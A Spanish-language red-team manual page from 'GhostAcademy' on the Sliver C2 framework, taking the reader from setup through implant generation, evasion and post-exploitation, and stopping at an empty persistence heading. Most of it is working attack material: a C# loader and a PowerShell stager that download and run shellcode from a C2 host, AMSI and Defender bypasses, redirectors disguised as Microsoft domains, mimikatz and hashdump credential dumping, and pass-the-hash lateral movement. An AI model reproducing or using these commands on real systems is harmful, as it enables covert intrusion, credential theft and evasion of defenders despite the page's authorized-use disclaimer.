GhostAcademy
GhostAcademy
Sliver C2 — Implantes, Beacons y Evasión
Manual Completo
Sliver C2
Implantes, Beacons y Evasión

Sliver es un framework de Command & Control de código abierto escrito en Go, desarrollado por Bishop Fox como alternativa moderna a Cobalt Strike y Metasploit. Soporta múltiples protocolos de transporte, implantes multiplataforma, ofuscación automática y evasión de EDR. Este manual cubre desde la instalación hasta operaciones avanzadas de Red Team.

⚠ Disclaimer LegalSliver es una herramienta de Red Team exclusivamente para uso autorizado: pentests con contrato firmado, laboratorios propios y entornos CTF. Su uso sin autorización es ilegal. GhostAcademy promueve la seguridad ética y responsable.

¿Por qué Sliver sobre Metasploit?

Metasploit es la referencia, pero sus payloads son los más detectados del mundo. Cada AV del mercado tiene firmas para meterpreter. Sliver genera implantes en Go con ofuscación automática por nombre de binario, lo que resulta en una detección significativamente menor en entornos reales.

🔏
Lenguaje
Escrito en Go
Los binarios Go tienen características únicas que dificultan el análisis estático: ausencia de imports DLL tradicionales, runtime propio, y compilación con garble para ofuscación.
Detección baja
📡
Transporte
Multi-Protocol
mTLS, WireGuard, HTTP/S, DNS. Cada transporte tiene opciones de evasión distintas. HTTPS con certificados legítimos es el más sigiloso en entornos corporativos.
4 transportes
🌐
Plataformas
Multiplataforma
Windows, Linux, macOS. Cross-compilation nativa: generar un implante .exe desde Kali Linux en segundos. Soporte para ARM (Raspberry Pi, Android).
Win / Lin / Mac
🎭
Evasión
Garble Obfuscation
Integración con garble para ofuscación de nombres de símbolos, strings y funciones en el binario compilado. Cada build genera un binario diferente.
AV bypass
⚡
Modos
Session y Beacon
Session: conexión persistente bidireccional como meterpreter. Beacon: check-in periódico como Cobalt Strike, más sigiloso para operaciones largas.
2 modos
🔌
Extensibilidad
BOF + Extensions
Soporte para Beacon Object Files (BOF) de Cobalt Strike, extensiones Go custom y armory de herramientas post-explotación. Ecosistema en crecimiento.
Extensible

Sliver vs Cobalt Strike vs Metasploit

CaracterísticaSliverCobalt StrikeMetasploit
PrecioGratuito (OSS)$5,900/añoGratuito (Community)
Lenguaje implanteGo (difícil analizar)Java/C (bien documentado)Ruby/C (muy detectado)
Detección AVBaja con garbleMedia (firmas conocidas)Muy alta
Beacon modeSí (nativo)Sí (referencia)Limitado
BOF soporteSí (v1.5+)Sí (original)No
Multi-operadorSíSíLimitado
Fundamentos — 01
🏗 Arquitectura C2

Sliver sigue la arquitectura clásica de C2 pero con componentes modernos. Entender el flujo de comunicación es esencial para configurar operaciones sigilosas.

ARQUITECTURA SLIVER C2
👤
Operator
Cliente sliver-client o consola
RED TEAM
⟶
mTLS
31337
🖥
Sliver Server
Go server, gestión central
C2 SERVER
⟶
HTTPS
DNS
mTLS
📡
Listener
HTTP/S, DNS, mTLS, WG
STAGER
⟶
Implant
callback
🦠
Implant
Session o Beacon en víctima
VÍCTIMA

Componentes Clave

ComponenteDescripciónPuerto/Proto
sliver-serverServidor central. Gestiona implantes, operadores y configuración. Persiste en la VM atacante.31337/mTLS
sliver-clientCLI del operador. Se conecta al servidor via mTLS con certificado propio. Multi-operador.31337/mTLS
multiplayerModo multi-operador: varios red teamers trabajando sobre el mismo C2 simultáneamente.Configurable
listenerEndpoint que escucha las conexiones de los implantes. Puede ser HTTP/S, DNS, mTLS o WireGuard.80/443/53
implant (session)Agente interactivo persistente. Conexión bidireccional continua. Alto rendimiento, más ruidoso.Varios
implant (beacon)Agente que hace check-in periódico. Duerme entre llamadas. Mucho más sigiloso para largo plazo.Varios

Flujo de una Operación

1
Setup del servidor
Instalar sliver-server en la VM atacante o en un VPS. Generar certificados mTLS para los operadores. Configurar el multiplayer si hay equipo.
2
Crear un Listener
Abrir un endpoint HTTPS o DNS en el servidor. El listener espera las conexiones de los implantes. Puede tener redirección via redirector para ocultar el C2 real.
3
Generar el Implante
Compilar un binario Go (session o beacon) que apunta al listener. Aplicar ofuscación con garble. Seleccionar el formato: exe, dll, shellcode, etc.
4
Desplegar y obtener la sesión
Ejecutar el implante en la víctima via phishing, explotación o acceso previo. El implante llama al listener y el operador recibe la sesión/beacon.
5
Post-explotación
Con la sesión activa: reconocimiento, escalada, movimiento lateral, exfiltración. Todo desde la consola de Sliver.
Fundamentos — 02
⚙️ Instalación y Setup

Sliver se instala en minutos. El servidor genera automáticamente certificados mTLS y una configuración inicial. Compatible con Kali, Ubuntu y cualquier distribución Linux moderna.

Instalación del Servidor

BASH — Instalación Sliver Server
# Método 1: Script oficial (recomendado)
curl https://sliver.sh/install | sudo bash

# Método 2: Descarga manual desde GitHub Releases
wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux
chmod +x sliver-server_linux && sudo mv sliver-server_linux /usr/local/bin/sliver-server

# Método 3: Kali Linux (repos oficiales)
sudo apt update && sudo apt install sliver -y

# Instalar dependencias para compilación de implantes
sudo apt install golang-go mingw-w64 -y

# Verificar instalación
sliver-server version
    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
    ███████╗██║     ██║██║   ██║█████╗  ██████╔╝
    ╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
    ███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
    ╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

    v1.5.42  — Bishop Fox
    OS: linux/amd64
    Go: 1.21.0

Primer Arranque y Configuración

sliver-server — first run
$ sudo sliver-server [*] Initializing sliver server ... [*] Generating CA certificates ... [*] Saving certificate authority ... [*] Generating server certificates ... [*] Starting gRPC server on 0.0.0.0:31337 [*] Loaded 0 operator profile(s) [*] All done! sliver >

Configurar Modo Multi-Operador

Sliver Console — Multi-operador setup
# Dentro de la consola sliver, generar perfil para un operador
sliver > multiplayer
[*] Multiplayer mode enabled

sliver > new-operator --name ghost --lhost 10.0.0.1
[*] Generating new client certificate, please wait ...
[*] Saved new client config to: /root/ghost_10.0.0.1.cfg

# Enviar el .cfg al operador de forma segura
# El operador conecta con:
sliver-client import /path/to/ghost_10.0.0.1.cfg
sliver-client
[*] Connected to sliver server: 10.0.0.1:31337
[*] Welcome to the sliver shell. Please type 'help' for options.

# Como servicio systemd (producción)
sudo systemctl enable sliver && sudo systemctl start sliver
sudo systemctl status sliver
● sliver.service - Sliver C2 Server
   Active: active (running) since ...
◈ OPSEC — Hardening del servidor C2
Alojar el servidor en un VPS con IP distinta a la del equipo red team
Usar un redirector (Apache/nginx) entre el implante y el servidor real
El puerto 31337 (operador) nunca debe ser accesible desde internet
Renovar certificados al inicio de cada operación
Configurar firewall para aceptar solo IPs del equipo en el puerto gRPC
Implantes — 01
🧬 Tipos de Implante

Sliver ofrece dos modos de implante radicalmente distintos en su comportamiento. La elección entre Session y Beacon depende de los objetivos de la operación y el nivel de sigilo requerido.

🔴
Modo interactivo
Session
Conexión TCP/TLS bidireccional persistente. Cada comando se ejecuta en tiempo real. Similar a meterpreter. Mayor rendimiento pero más ruidoso en el tráfico de red.
Sigilo
35%
Rendimiento
90%
🟢
Modo asíncrono
Beacon
Check-in periódico: el implante duerme N segundos y despierta para pedir tareas. Como Cobalt Strike Beacon. Mucho más sigiloso para operaciones de larga duración (semanas/meses).
Sigilo
88%
Rendimiento
55%

Formatos de Implante Disponibles

FormatoFlagUso idealPlataforma
Executable (.exe)--format exeEjecución directa, phishing, dropperWindows/Linux/macOS
Shared Library (.dll)--format sharedDLL hijacking, reflective loadingWindows (.dll)
Shellcode--format shellcodeInyección en procesos, stager customWindows (x64)
Service (.exe)--format serviceInstalación como servicio Windows, PSExecWindows
ELF--format exe --os linuxServidores Linux, contenedoresLinux
Mach-O--format exe --os macosMacbooks, servidores macOSmacOS
Implantes — 02
⚡ Generar Implantes

El comando generate de Sliver compila un binario Go personalizado. Cada compilación produce un binario único con nombre aleatorio por defecto.

Sintaxis de generate

Sliver — Flags de generate
sliver > help generate

Flags:
  -c, --canary          Canary domains para detección de análisis
  -d, --debug           Compilar con símbolos de debug (más grande)
  -e, --evasion         Habilitar evasión avanzada (garble + más)
  -f, --format          Formato de salida: exe, shared, shellcode, service
  -G, --os              OS objetivo: windows, linux, darwin
  -a, --arch            Arquitectura: amd64, 386, arm64
  -s, --save            Ruta donde guardar el implante generado
  -o, --name            Nombre del implante (aleatorio si no se especifica)
      --http            Listener HTTP (host:port)
      --https           Listener HTTPS (host:port)
      --mtls            Listener mTLS (host:port)
      --dns             Listener DNS (domain)
  -Z, --obfuscate       Ofuscación de strings con garble
      --skip-symbols    Omitir tabla de símbolos (binario más pequeño)
      --timeout         Timeout de conexión (segundos)
      --reconnect       Intentos de reconexión

Generar Implante Session — Windows HTTPS

Sliver Console — Session implant Windows
sliver > generate --https c2.ghostacademy.lab:443 --os windows --arch amd64 --format exe --save /tmp/ [*] Generating new windows/amd64 implant binary [*] Symbol obfuscation is disabled [*] Build completed in 28s [*] Implant saved to /tmp/HUNGRY_RABBIT.exe sliver > implants Name OS/Arch Type Transport Last Check-in --------------- -------------- -------- ----------- ------------- HUNGRY_RABBIT windows/amd64 session https Never

Generar Implante Beacon con Ofuscación

Sliver Console — Beacon ofuscado
sliver > generate beacon --https c2.ghostacademy.lab:443 --os windows --arch amd64 --format exe --evasion --seconds 60 --jitter 30 --name "WindowsUpdate" --save /tmp/ [*] Generating new windows/amd64 beacon binary [*] Evasion options: garble obfuscation enabled [*] Sleep: 60s ± 30s jitter (sleeps between 30-90s) [*] Build completed in 47s (garble adds ~20s) [*] Implant saved to /tmp/WindowsUpdate.exe sliver > beacons Name OS/Arch Transport Interval Jitter Last Check-in --------------- -------------- ----------- ---------- -------- ------------- WindowsUpdate windows/amd64 https 60s 30s Never

Implante Linux y macOS

Sliver — Implantes multiplataforma
# Beacon Linux (servidor comprometido)
sliver > generate beacon --mtls 10.0.0.1:8888 --os linux --arch amd64 --format exe --evasion --seconds 300 --save /tmp/
[*] Saved to /tmp/SWIFT_PANTHER

# Session macOS ARM (Apple Silicon)
sliver > generate --https c2.lab:443 --os darwin --arch arm64 --format exe --evasion --save /tmp/
[*] Saved to /tmp/COLD_SUNRISE

# Shellcode para inyección en proceso (x64 Windows)
sliver > generate --https c2.lab:443 --os windows --arch amd64 --format shellcode --save /tmp/shell.bin
[*] Saved to /tmp/shell.bin

# DLL para hijacking
sliver > generate --https c2.lab:443 --os windows --arch amd64 --format shared --save /tmp/evil.dll
[*] Saved to /tmp/evil.dll
Implantes — 03
📡 Listeners y Transporte

El listener es el endpoint que escucha las conexiones de los implantes. Sliver soporta cuatro transportes con perfiles de detección muy distintos.

HTTPS Listener — El más sigiloso

Listeners HTTPS / HTTP
# Listener HTTPS con certificado autofirmado sliver > https --lhost 0.0.0.0 --lport 443 [*] Starting HTTPS listener on 0.0.0.0:443 ... [*] Successfully started job #1 # Listener HTTPS con dominio y LetsEncrypt automático sliver > https --lhost 0.0.0.0 --lport 443 --domain c2.ghostacademy.lab --lets-encrypt [*] Obtaining LetsEncrypt certificate for c2.ghostacademy.lab ... [*] HTTPS listener started on 443 with valid TLS cert # HTTP (para redes sin HTTPS inspeccionado) sliver > http --lhost 0.0.0.0 --lport 8080 [*] Starting HTTP listener on 0.0.0.0:8080 # Ver jobs activos sliver > jobs ID Name Protocol Port -- ---- -------- ---- 1 https tcp 443 2 http tcp 8080

mTLS Listener — Más rápido y seguro

mTLS / WireGuard
# mTLS: autenticación mutua con certificados — ideal para red interna sliver > mtls --lhost 0.0.0.0 --lport 8888 [*] Starting mTLS listener on 0.0.0.0:8888 [*] Successfully started job #3 # WireGuard: tunnel VPN para comunicaciones seguras sliver > wg --lhost 0.0.0.0 --lport 53444 --n-port 8888 [*] Starting WireGuard listener on UDP/53444 # DNS: exfiltración via queries DNS (muy sigiloso, muy lento) sliver > dns --domains c2.ghostacademy.lab. [*] Starting DNS listener for: c2.ghostacademy.lab. [!] Ensure the NS record for c2.ghostacademy.lab points to this server

Comparativa de Transportes

TransporteSigiloVelocidadFirewall bypassRequiere
HTTPS/443Muy altoAltoExcelenteDominio + cert TLS
mTLSMedioMuy altoMedio (puerto no estándar)Puerto abierto en FW
WireGuardMedioMuy altoMedioUDP libre
DNSMáximoMuy bajoExcelenteDominio + NS apuntando al C2
HTTP/80Bajo-medioAltoBuenoPuerto 80 saliente libre
Implantes — 04
🔦 Beacons Avanzados

El modo Beacon es la joya de Sliver para operaciones sigilosas. Un beacon que duerme 60 minutos genera prácticamente cero ruido en el SIEM del defensor.

Gestionar Beacons

Sliver — Beacon workflow
# Ver beacons activos sliver > beacons ID Name Transport Hostname OS Last Check-in Next Check-in ------ ----------- ---------- ---------- ---------- ------------- ------------- abc123 WindowsUpdate https CORP-PC01 Win/amd64 0s ago 58s # Interactuar con un beacon sliver > use abc123 [*] Active beacon WindowsUpdate (abc123) - CORP-PC01 sliver (WindowsUpdate) > whoami [*] Tasked beacon WindowsUpdate (abc123) [*] Waiting for beacon to check-in ... [+] Received response: CORP\john.doe # El beacon ejecuta la tarea en el siguiente check-in (hasta 60s de espera) # Cambiar interval/jitter del beacon activo sliver (WindowsUpdate) > reconfig --interval 300 --jitter 60 [*] Reconfigured beacon: interval=5m jitter=60s

Jitter y Perfil de Sueño

💡 Jitter — la clave del sigiloSin jitter, el beacon llama exactamente cada N segundos. Los SIEM detectan patrones periódicos exactos. Con jitter del 50%, si el interval es 60s, el beacon llama entre 30s y 90s — completamente irregular, muy difícil de detectar por tiempo.
Sliver — Configuración de sleep/jitter
# Beacon para operación rápida (CTF/lab) — check-in cada 10s
sliver > generate beacon --https c2.lab:443 --seconds 10 --jitter 5 ...

# Beacon para operación de larga duración — check-in cada hora
sliver > generate beacon --https c2.lab:443 --seconds 3600 --jitter 600 ...
# Llama entre 50min y 70min → completamente natural en logs

# Beacon operativo estándar — 5 minutos con 20% jitter
sliver > generate beacon --https c2.lab:443 --seconds 300 --jitter 60 ...

# Beacon "horario de trabajo" — solo activo entre 9am y 6pm
# No nativo en Sliver, implementar en el implante custom o via BOF

Convertir Session a Beacon

Sliver — Regenerate como beacon desde sesión activa
# Desde una sesión activa, generar un nuevo beacon y ejecutarlo
sliver (HUNGRY_RABBIT) > generate beacon --https c2.lab:443 --seconds 300 --jitter 60 --os windows --evasion --save /tmp/beacon.exe
[*] Beacon saved to /tmp/beacon.exe

# Subir el beacon a la víctima
sliver (HUNGRY_RABBIT) > upload /tmp/beacon.exe C:\ProgramData\WinUpdate.exe
[*] Uploaded to C:\ProgramData\WinUpdate.exe

# Ejecutarlo en la víctima
sliver (HUNGRY_RABBIT) > execute -s C:\ProgramData\WinUpdate.exe
[*] Process spawned: 4821

# El beacon hace check-in en el próximo ciclo
sliver > beacons
WinUpdate   https   CORP-PC01   Win/amd64   Just now   4m58s
Evasión — 01
🌫 Ofuscación de Implantes

La ofuscación en Sliver opera a nivel de compilación Go. Garble renombra funciones, ofusca strings y elimina metadata del binario, haciendo cada build único e irreconocible para análisis estático.

Garble — Ofuscación en Compilación

Sliver — Activar ofuscación garble
# --evasion activa garble automáticamente
sliver > generate beacon --https c2.lab:443 --os windows --arch amd64 --format exe --evasion --save /tmp/
[*] Evasion options: garble obfuscation enabled
[*] Build time increases ~20-40s with garble

# Qué hace garble:
1. Renombra funciones y variables a nombres aleatorios
2. Encripta strings del binario (no aparecen en "strings binary")
3. Elimina información de debugging y tabla de símbolos
4. Randomiza el orden de instrucciones donde es posible
5. Cada build genera un hash diferente (polimorfismo implícito)

# Verificar diferencia en strings:
strings /tmp/SIN_OFUSCAR.exe | grep -E "(sliver|implant|c2\.lab)"
c2.lab:443
sliver_beacon_main
SliverImplant_Connect

strings /tmp/CON_OFUSCAR.exe | grep -E "(sliver|implant|c2\.lab)"
(sin resultados — strings encriptados)

Técnicas de Ofuscación Adicionales

Sliver + herramientas externas de ofuscación
# 1. --skip-symbols: eliminar tabla de símbolos (binario más pequeño y limpio)
sliver > generate beacon --https c2.lab:443 --evasion --skip-symbols --os windows --save /tmp/

# 2. Canary domains: detectar análisis en sandbox
sliver > generate beacon --https c2.lab:443 --canary sandbox-detect.lab,analysis.lab --os windows --save /tmp/
# Si el implante detecta resolución de los canary domains → sabe que está en sandbox → no ejecuta

# 3. Post-compilación: UPX packing (cuidado, firma conocida)
upx --best /tmp/implant.exe -o /tmp/implant_packed.exe
# ⚠ UPX tiene firma en muchos AV modernos — usar con precaución

# 4. Shellcode wrapping con donut (más evasivo que EXE directo)
donut -f /tmp/implant.exe -o /tmp/implant.bin -a 2 -x 2
# Convierte el EXE en shellcode que puede inyectarse en procesos

# 5. Modificar timestamp del PE (timestomping)
python3 -c "
import pefile, datetime
pe = pefile.PE('/tmp/implant.exe')
pe.FILE_HEADER.TimeDateStamp = int(datetime.datetime(2021,6,15,8,30).timestamp())
pe.write('/tmp/implant_ts.exe')
"
Evasión — 02
🛡 Evasión de AV/EDR

La detección de implantes Sliver se puede evitar con técnicas en capas: ofuscación del binario, ejecución en memoria, técnicas de staging y abuso de procesos legítimos.

Línea Base de Detección con Garble

DETECCIÓN EN VIRUSTOTAL — Implante Sliver (datos aproximados 2024)
Sin ofuscación
~62%
Con --evasion
~28%
Shellcode + injecc.
~15%
Staging + ofusc.
~8%
* Los porcentajes varían según las signatures actualizadas de cada AV. Nunca subir implantes reales a VT.

Técnica 1 — Shellcode en Memoria con D/Invoke

C# — Loader que inyecta shellcode Sliver en memoria
// Loader C# que descarga shellcode Sliver e inyecta en proceso legítimo
// Compilar con csc.exe (LOLBAS) o msbuild para mayor evasión

using System;
using System.Net;
using System.Runtime.InteropServices;

class WinUpdateLoader {
    [DllImport("kernel32")]
    static extern IntPtr VirtualAlloc(IntPtr addr, UInt32 size, UInt32 allocType, UInt32 protect);

    [DllImport("kernel32")]
    static extern IntPtr CreateThread(IntPtr attr, UInt32 sz, IntPtr start, IntPtr param, UInt32 flags, IntPtr id);

    [DllImport("kernel32")]
    static extern UInt32 WaitForSingleObject(IntPtr handle, UInt32 ms);

    static void Main() {
        // Descargar shellcode del C2 (o embeber como array de bytes)
        var wc = new WebClient();
        // Patch AMSI antes de la descarga
        AmsiPatch.Disable();
        byte[] buf = wc.DownloadData("https://c2.ghostacademy.lab/update.bin");

        IntPtr mem = VirtualAlloc(IntPtr.Zero, (UInt32)buf.Length, 0x3000, 0x40);
        Marshal.Copy(buf, 0, mem, buf.Length);
        IntPtr t = CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, IntPtr.Zero);
        WaitForSingleObject(t, 0xFFFFFFFF);
    }
}

Técnica 2 — Stageless vs Staged Payload

Sliver — Stager para carga en dos fases
# Stager: implante pequeño que descarga el payload real en runtime
# El stager es mínimo y tiene baja detección
# El payload grande (con el código real de Sliver) se descarga en memoria

# 1. Generar el implante completo como shellcode
sliver > generate --https c2.lab:443 --os windows --format shellcode --save /tmp/sliver.bin

# 2. Servir el shellcode vía HTTPS (el C2 ya tiene HTTPS listener)
# 3. El stager descarga /tmp/sliver.bin y lo inyecta en memoria

# Stager PowerShell mínimo (alta detección — solo para lab)
$sc = (New-Object Net.WebClient).DownloadData('https://c2.lab:443/sliver.bin')
$mem = [Runtime.InteropServices.Marshal]::AllocHGlobal($sc.Length)
[Runtime.InteropServices.Marshal]::Copy($sc, 0, $mem, $sc.Length)
$thread = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mem, [Action])
$thread.Invoke()

# Stager más sigiloso: usar mshta + HTA como dropper inicial
# Ver sección LOLBAS del manual de GTFOBins para técnicas de stager

Técnica 3 — Bypass Windows Defender en Lab

PowerShell / Sliver — Evadir Defender (entorno de lab)
# En el lab: deshabilitar Defender temporalmente para pruebas
Set-MpPreference -DisableRealtimeMonitoring $true

# En real: técnicas de evasión en capas
# 1. AMSI bypass antes de cargar el payload
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# 2. ETW patch (desactivar Event Tracing for Windows)
# Parchear ntdll!EtwEventWrite para que retorne inmediatamente
$ntdll = [Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "http://c2/patch.dll").Content)

# 3. Process hollowing (vaciado de proceso legítimo)
# Crear svchost.exe suspendido → vaciar su memoria → inyectar shellcode Sliver
# Referencia: github.com/BishopFox/sliver/tree/master/tools

# 4. Técnica más moderna: Sleep masking
# Mientras el beacon duerme, encriptar su memoria → invisible para análisis en tiempo real
sliver > generate beacon --https c2.lab:443 --evasion --format shellcode --save /tmp/masked.bin
# Cargar con un loader que implemente sleep masking (ej: Ekko, Foliage)

MITRE T1562.001Disable Security Tools
MITRE T1055Process Injection
Evasión — 03
💉 Process Injection

Inyectar el implante en un proceso legítimo lo hace invisible: el proceso padre visible es svchost.exe o explorer.exe. El implante corre bajo su identidad.

Migrate — Migrar a Proceso Legítimo

Sliver — Process migration
# Ver procesos disponibles para migrar sliver (HUNGRY_RABBIT) > ps PID PPID Name Owner ---- ---- ---- ----- 4 0 System NT AUTHORITY\SYSTEM ... 1204 692 svchost.exe NT AUTHORITY\NETWORK SERVICE 1520 692 svchost.exe NT AUTHORITY\SYSTEM ← objetivo 2840 1988 explorer.exe CORP\john.doe # Migrar implante a svchost.exe que corre como SYSTEM sliver (HUNGRY_RABBIT) > migrate --pid 1520 [*] Migrating to pid 1520 (svchost.exe) ... [+] Successfully migrated to svchost.exe (PID: 1520) [*] New session: BLUE_HORIZON on svchost.exe sliver (BLUE_HORIZON) > getuid NT AUTHORITY\SYSTEM # El implante ahora corre como SYSTEM bajo svchost.exe # El proceso original HUNGRY_RABBIT.exe puede eliminarse

Inyectar Shellcode en Proceso

Sliver — Shellcode injection commands
# Generar shellcode Sliver
sliver > generate beacon --https c2.lab:443 --format shellcode --evasion --save /tmp/sc.bin

# Inyectar shellcode en proceso remoto desde sesión activa
sliver (session) > inject --pid 2840 --shellcode /tmp/sc.bin
[*] Injecting shellcode into PID 2840 (explorer.exe)
[+] Successfully injected shellcode

# Spawn y migrate en un solo paso
sliver (session) > spawndll --process C:\\Windows\\System32\\notepad.exe --inject /tmp/evil.dll

# Side-loading de DLL maliciosa
sliver (session) > sideload --entry-point CustomDLLEntry /tmp/evil.dll

MITRE T1055.003Thread Exec. Hijacking
MITRE T1574.001DLL Hijacking
Evasión — 04
🌐 Domain Fronting y Redirectores

El domain fronting oculta la IP real del C2 detrás de una CDN o infraestructura de confianza. Los proxies inspeccionan el dominio externo (legítimo) pero el tráfico va al dominio oculto del C2.

Arquitectura con Redirector

nginx — Redirector C2 (ocultar IP real del servidor)
# El redirector es un VPS "quemable" que reenvía al C2 real
# Si el redirector se quema, el C2 real permanece intacto

# nginx como redirector (/etc/nginx/sites-available/c2-redirect)
server {
    listen 443 ssl;
    server_name updates.microsoft-cdn.workers.dev;  # dominio "legítimo"

    ssl_certificate     /etc/letsencrypt/live/updates.microsoft-cdn.workers.dev/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/updates.microsoft-cdn.workers.dev/privkey.pem;

    # Solo reenviar si el User-Agent coincide con el del implante
    if ($http_user_agent !~ "Mozilla/5.0.*Windows NT 10.*CUSTOM_TOKEN") {
        return 302 https://www.microsoft.com;  # engañar a los análisis
    }

    location / {
        proxy_pass https://REAL_C2_IP:443;
        proxy_set_header Host $host;
        proxy_ssl_verify off;
    }
}

# Sliver: apuntar el implante al redirector, no al C2 real
sliver > generate beacon --https updates.microsoft-cdn.workers.dev:443 --os windows --evasion --save /tmp/

Cloudflare Workers como Redirector

JavaScript — Cloudflare Worker como proxy C2
// Cloudflare Worker que redirige tráfico C2
// El implante habla con *.workers.dev (dominio de Cloudflare — en whitelist)
// Cloudflare reenvía al C2 real

addEventListener('fetch', event => {
    event.respondWith(handleRequest(event.request))
})

async function handleRequest(request) {
    // Verificar header secreto (evitar escaneos aleatorios)
    const token = request.headers.get('X-Ghost-Token')
    if (token !== 'GHOST_SECRET_2024') {
        return new Response('Not Found', {status: 404})
    }

    const url = 'https://REAL_C2_IP' + new URL(request.url).pathname
    return fetch(url, {
        method: request.method,
        headers: request.headers,
        body: request.body
    })
}
Post-Explotación — 01
💻 Gestión de Sesiones

Una vez que el implante hace check-in, el operador tiene una sesión o beacon activo. La consola de Sliver ofrece decenas de comandos de post-explotación integrados.

Comandos de Sesión Esenciales

Sliver — Sesión activa: comandos clave
# Ver todas las sesiones activas sliver > sessions ID Name Transport RemoteAddr OS User Last Message ------ ----------- --------- --------------- ---------- ---------- ------------ abc123 HUNGRY_RABBIT https 192.168.1.50:443 Win/amd64 CORP\admin 0s # Interactuar con la sesión sliver > use abc123 sliver (HUNGRY_RABBIT) > # Información del sistema sliver (HUNGRY_RABBIT) > info Name: HUNGRY_RABBIT Hostname: CORP-PC01 UUID: a1b2c3d4-... Username: CORP\john.doe UID: S-1-5-21-... GID: S-1-5-21-... PID: 4821 OS: windows Version: 10.0 Build 19041 Arch: amd64 ActiveC2: https://c2.ghostacademy.lab:443 # Shell interactiva sliver (HUNGRY_RABBIT) > shell [*] Wait approximately 10 seconds after exit, and press enter [*] Opening shell tunnel ... C:\Windows\System32> whoami corp\john.doe # Ejecutar comando puntual sliver (HUNGRY_RABBIT) > execute -s ipconfig /all Windows IP Configuration IPv4 Address: 192.168.1.50
Post-Explotación — 02
🔨 Comandos de Post-Explotación

Sliver integra un arsenal completo de comandos post-explotación: reconocimiento, escalada, capturas, credenciales y más, sin necesidad de cargar herramientas externas.

Reconocimiento y Sistema

Sliver — Reconocimiento en la víctima
# Info básica del sistema
sliver (session) > getuid    ← usuario actual
sliver (session) > getpid    ← PID del implante
sliver (session) > whoami    ← usuario con grupos
sliver (session) > env       ← variables de entorno

# Procesos y servicios
sliver (session) > ps        ← lista de procesos
sliver (session) > netstat   ← conexiones de red

# Sistema de archivos
sliver (session) > ls C:\\Users\\john.doe\\Desktop
sliver (session) > cat C:\\Users\\john.doe\\Documents\\passwords.txt
sliver (session) > search --pattern "*.kdbx" C:\\Users

# Transferencia de archivos
sliver (session) > download C:\\sensitive\\data.xlsx /tmp/data.xlsx
sliver (session) > upload /tmp/tool.exe C:\\Temp\\tool.exe

# Screenshot y keylogger
sliver (session) > screenshot
[*] Screenshot saved to: /tmp/screenshot_20240115_143022.png

Escalada de Privilegios

Sliver — Escalada y tokens
# Ver privilegios actuales del token
sliver (session) > privs
SeImpersonatePrivilege: Enabled ← Potato attack posible

# Ejecutar como SYSTEM (si hay SeImpersonatePrivilege)
sliver (session) > getsystem
[*] Attempting to get SYSTEM ...
[+] Got SYSTEM via Named Pipe Impersonation

# Token impersonation — robar token de proceso privilegiado
sliver (session) > impersonate CORP\\Administrator
[*] Impersonating CORP\Administrator token ...

# Rev2self — volver al token original
sliver (session) > rev2self

# Runas — ejecutar proceso como otro usuario
sliver (session) > runas --username Administrator --password 'P@ssw0rd' --process cmd.exe

MITRE T1134Access Token Manipulation

Volcado de Credenciales

Sliver + extensiones — Dump de credenciales
# Cargar extensión hashdump desde el armory
sliver > armory install mimikatz

# Ejecutar mimikatz dentro de la sesión (via BOF o extension)
sliver (session) > mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit"
Authentication Id : 0 ; 123456
   Session         : Interactive from 1
   User Name       : john.doe
   Domain          : CORP
   Logon Server    : DC01
   Password        : Welc0me2024!

# Hash dump de SAM (como SYSTEM)
sliver (session) > hashdump
Administrator:500:aad3b435...:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435...:31d6cfe0d16ae931b73c59d7e0c089c0:::

# Credenciales del registro (autologin)
sliver (session) > reg read --hive HKLM --path "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon"

MITRE T1003.001LSASS Memory
Post-Explotación — 03
↔ Movimiento Lateral

Con credenciales o hashes capturados, Sliver puede pivotar a otros sistemas de la red y desplegar implantes adicionales desde la sesión actual.

PSExec — Desplegar implante en otro equipo

Sliver — Lateral movement
# Generar implante service para PSExec sliver > generate --https c2.lab:443 --format service --os windows --save /tmp/svc.exe # PSExec desde sesión activa con hash NTLM (Pass-the-Hash) sliver (HUNGRY_RABBIT) > psexec --hostname 192.168.1.20 --username Administrator --hash 31d6cfe0d16ae931 /tmp/svc.exe [*] Uploading implant to \\192.168.1.20\ADMIN$\WinSvc.exe [+] Session opened: COLD_RIVER on 192.168.1.20 # Pivot sobre la sesión — tunneling de red sliver (HUNGRY_RABBIT) > socks5 start --host 127.0.0.1 --port 1080 [*] Started SOCKS5 proxy on 127.0.0.1:1080 # Desde Kali: proxychains nmap -sT 192.168.2.0/24 -p 22,80,443,3389 # Port forwarding para acceder a servicios internos sliver (HUNGRY_RABBIT) > portfwd add --remote-host 192.168.1.10 --remote-port 3389 --local-port 13389 [*] Forwarding 127.0.0.1:13389 → 192.168.1.10:3389 # Desde Kali: rdesktop 127.0.0.1:13389

WMI y SMB Lateral Movement

Sliver — WMI, SMB y otros vectores laterales
# WMI execution en host remoto
sliver (session) > wmiexec --username CORP\\Administrator --password 'Welc0me2024!' --hostname 192.168.1.20 --command "C:\\Temp\\beacon.exe"

# SMB beacon (beacons que se comunican entre sí via named pipe)
# Útil en redes sin acceso directo al C2
sliver > generate beacon --tcp-pivot 192.168.1.10:9999 --os windows --save /tmp/smb_beacon.exe
# El SMB beacon se comunica con la sesión "padre" via named pipe

# Reverse pivot (túnel inverso) — cuando el C2 no puede llegar al implante
sliver (session) > reverse-port-fwd --bind-host 0.0.0.0 --bind-port 9999 --remote-host 127.0.0.1 --remote-port 9999

MITRE T1021.006Windows Remote Management
MITRE T1570Lateral Tool Transfer
Post-Explotación — 04
🔒 Persistencia

Establecer persistencia garantiza que el implante sobreviva reinicios. Sliver ofrece múltiples mecanismos de persistencia, desde registro hasta tareas programadas.

